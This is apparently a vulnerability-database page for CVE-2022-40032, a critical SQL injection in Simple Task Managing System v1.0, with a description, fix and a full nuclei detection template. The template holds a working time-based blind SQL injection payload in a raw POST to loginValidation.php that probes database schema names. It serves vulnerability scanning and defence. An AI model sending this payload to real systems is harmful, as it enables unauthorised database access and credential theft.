HexBrain

Browse / CVEs / CVE-2022-40032

CVE-2022-40032· simple task managing system project / simple task managing system· CWE-89

Simple Task Managing System v1.0 - SQL Injection

criticalseverity
9.8CVSS score
20.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

SQL injection occurs when a web application doesn't properly validate or sanitize user input that is used in SQL queries. Attackers can exploit this by injecting malicious SQL code into the input fields of a web application, tricking the application into executing unintended database queries.

Impact

Unauthenticated attackers can execute time-based blind SQL injection through the login parameter in loginValidation.php, potentially extracting sensitive database information including user credentials, task data, and system configuration.

Fix

Update Simple Task Managing System to a patched version that properly sanitizes and parameterizes SQL queries in loginValidation.php.

How to confirm it

Send: @timeout: 30s
Positive when: duration>=10 and status_code == 302 and contains(location, 'login.php') and contains(content_type, "text/html")

Run it with nuclei: nuclei -id CVE-2022-40032 -u <target>

The full check
id: CVE-2022-40032

info:
  name: Simple Task Managing System v1.0 - SQL Injection
  author: r3Y3r53
  severity: critical
  description: |
    SQL injection occurs when a web application doesn't properly validate or sanitize user input that is used in SQL queries. Attackers can exploit this by injecting malicious SQL code into the input fields of a web application, tricking the application into executing unintended database queries.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection through the login parameter in loginValidation.php, potentially extracting sensitive database information including user credentials, task data, and system configuration.
  remediation: |
    Update Simple Task Managing System to a patched version that properly sanitizes and parameterizes SQL queries in loginValidation.php.
  reference:
    - https://www.exploit-db.com/exploits/51273
    - https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-40032
    - http://packetstormsecurity.com/files/171739/Simple-Task-Managing-System-1.0-SQL-Injection.html
    - https://www.sourcecodester.com/sites/default/files/download/razormist/Task%20Managing%20System%20in%20PHP.zip
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-40032
    cwe-id: CWE-89
    epss-score: 0.20693
    epss-percentile: 0.9755
    cpe: cpe:2.3:a:simple_task_managing_system_project:simple_task_managing_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: simple_task_managing_system_project
    product: simple_task_managing_system
  tags: time-based-sqli,cve,cve2022,packetstorm,simple-task,stms,sqli,simple_task_managing_system_project,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /task/loginValidation.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login=test'%20AND%20(SELECT%208979%20FROM%20(SELECT(SLEEP(10-(IF(ORD(MID((SELECT%20DISTINCT(IFNULL(CAST(schema_name%20AS%20NCHAR)%2c0x20))%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2c1)%2c12%2c1))%3e48%2c0%2c1)))))jaXJ)--%20HgKq&password=

    matchers:
      - type: dsl
        dsl:
          - 'duration>=10'
          - 'status_code == 302'
          - "contains(location, 'login.php')"
          - 'contains(content_type, "text/html")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from